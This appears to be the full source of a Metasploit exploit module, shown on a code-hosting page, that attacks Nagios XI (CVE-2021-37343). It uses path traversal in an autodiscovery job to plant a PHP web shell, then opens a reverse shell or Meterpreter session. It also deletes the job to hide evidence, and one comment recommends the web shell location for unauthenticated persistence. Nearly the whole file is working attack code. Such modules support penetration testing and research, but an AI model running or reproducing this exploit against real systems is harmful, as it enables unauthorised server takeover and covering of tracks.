/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb
Ruby | 238 lines | 194 code | 27 blank | 17 comment | 5 complexity | 2060f88ec074bca79ef6b34ed3ede25b MD5 | raw file
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::Remote::HTTP::NagiosXi
- include Msf::Exploit::CmdStager
- include Msf::Exploit::FileDropper
- prepend Msf::Exploit::Remote::AutoCheck
- def initialize(info = {})
- super(
- update_info(
- info,
- 'Name' => 'Nagios XI Autodiscovery Webshell Upload',
- 'Description' => %q{
- This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
- The path traversal allows a remote and authenticated administrator to upload a PHP web shell
- and execute code as `www-data`. The module achieves this by creating an autodiscovery job
- with an `id` field containing a path traversal to a writable and remotely accessible directory,
- and `custom_ports` field containing the web shell. A cron file will be created using the chosen
- path and file name, and the web shell is embedded in the file.
- After the web shell has been written to the victim, this module will then use the web shell to
- establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
- the module, and the autodiscovery job is removed as well.
- },
- 'License' => MSF_LICENSE,
- 'Author' => [
- 'Claroty Team82', # vulnerability discovery
- 'jbaines-r7' # metasploit module
- ],
- 'References' => [
- ['CVE', '2021-37343'],
- ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']
- ],
- 'DisclosureDate' => '2021-07-15',
- 'Platform' => ['unix', 'linux'],
- 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
- 'Privileged' => false,
- 'Targets' => [
- [
- 'Unix Command',
- {
- 'Platform' => 'unix',
- 'Arch' => ARCH_CMD,
- 'Type' => :unix_cmd,
- 'DefaultOptions' => {
- 'PAYLOAD' => 'cmd/unix/reverse_openssl'
- },
- 'Payload' => {
- 'Append' => ' & disown'
- }
- }
- ],
- [
- 'Linux Dropper',
- {
- 'Platform' => 'linux',
- 'Arch' => [ARCH_X86, ARCH_X64],
- 'Type' => :linux_dropper,
- 'CmdStagerFlavor' => [ 'printf' ],
- 'DefaultOptions' => {
- 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
- }
- }
- ]
- ],
- 'DefaultTarget' => 1,
- 'DefaultOptions' => {
- 'RPORT' => 443,
- 'SSL' => true,
- 'MeterpreterTryToFork' => true
- },
- 'Notes' => {
- 'Stability' => [CRASH_SAFE],
- 'Reliability' => [REPEATABLE_SESSION],
- 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
- }
- )
- )
- register_options [
- OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
- OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
- OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
- OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
- OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
- ]
- @webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
- @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
- end
- # Authenticate and grab the version from the dashboard. Store auth cookies for later user.
- def check
- login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
- case login_result
- when 1..3 # An error occurred
- return CheckCode::Unknown(res_array[0])
- when 4
- return CheckCode::Detected('Nagios is not fully installed.')
- when 5
- return CheckCode::Detected('The Nagios license has not been signed.')
- end
- # res_array[1] cannot be nil since the mixin checks for that already.
- @auth_cookies = res_array[1]
- nagios_version = nagios_xi_version(res_array[0])
- if nagios_version.nil?
- return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
- end
- # affected versions are 5.2.0 -> 5.8.4
- if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
- Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
- return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
- end
- CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
- end
- # Using the path traversal, upload a php webshell to the remote target
- def drop_webshell
- autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
- print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => autodisc_uri,
- 'cookie' => @auth_cookies,
- 'vars_get' => {
- 'mode' => 'newjob'
- }
- })
- fail_with(Failure::Disconnected, 'Connection failed') unless res
- fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
- fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
- # snag the nsp token from the response
- nsp = get_nsp(res)
- fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
- # drop a basic web shell on the server
- webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
- print_status("Uploading webshell to #{webshell_location}")
- php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
- payload = 'update=1&' \
- "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \
- "nsp=#{nsp}&" \
- 'address=127.0.0.1%2F0&' \
- 'frequency=Yearly&' \
- "custom_ports=#{php_webshell}&"
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => autodisc_uri,
- 'cookie' => @auth_cookies,
- 'vars_get' => {
- 'mode' => 'newjob'
- },
- 'data' => payload
- })
- fail_with(Failure::Disconnected, 'Connection failed') unless res
- fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
- # Test the web shell installed by echoing a random string and ensure it appears in the res.body
- print_status('Testing if web shell installation was successful')
- rand_data = Rex::Text.rand_text_alphanumeric(16..32)
- res = execute_via_webshell("echo #{rand_data}")
- fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
- print_good("Web shell installed at #{webshell_location}")
- # This is a great place to leave a web shell for persistence since it doesn't require auth
- # to touch it. By default, we'll clean this up but the attacker has to option to leave it
- if datastore['DELETE_WEBSHELL']
- register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
- end
- end
- # Successful exploitation creates a new job in the autodiscovery view. This function deletes
- # the job that there is no evidence of exploitation in the UI.
- def cleanup_job
- print_status('Deleting autodiscovery job')
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
- 'cookie' => @auth_cookies,
- 'vars_get' => {
- 'mode' => 'deletejob',
- 'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
- }
- })
- fail_with(Failure::Disconnected, 'Connection failed') unless res
- fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
- end
- # Executes commands via the uploaded webshell
- def execute_via_webshell(cmd)
- cmd = Rex::Text.uri_encode(cmd)
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
- })
- fail_with(Failure::Disconnected, 'Connection failed') unless res
- fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
- res
- end
- def execute_command(cmd, _opts = {})
- execute_via_webshell(cmd)
- end
- def exploit
- # create a randomish web shell name if the user doesn't specify one
- @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
- drop_webshell
- print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
- case target['Type']
- when :unix_cmd
- execute_command(payload.encoded)
- when :linux_dropper
- execute_cmdstager
- end
- ensure
- cleanup_job
- end
- end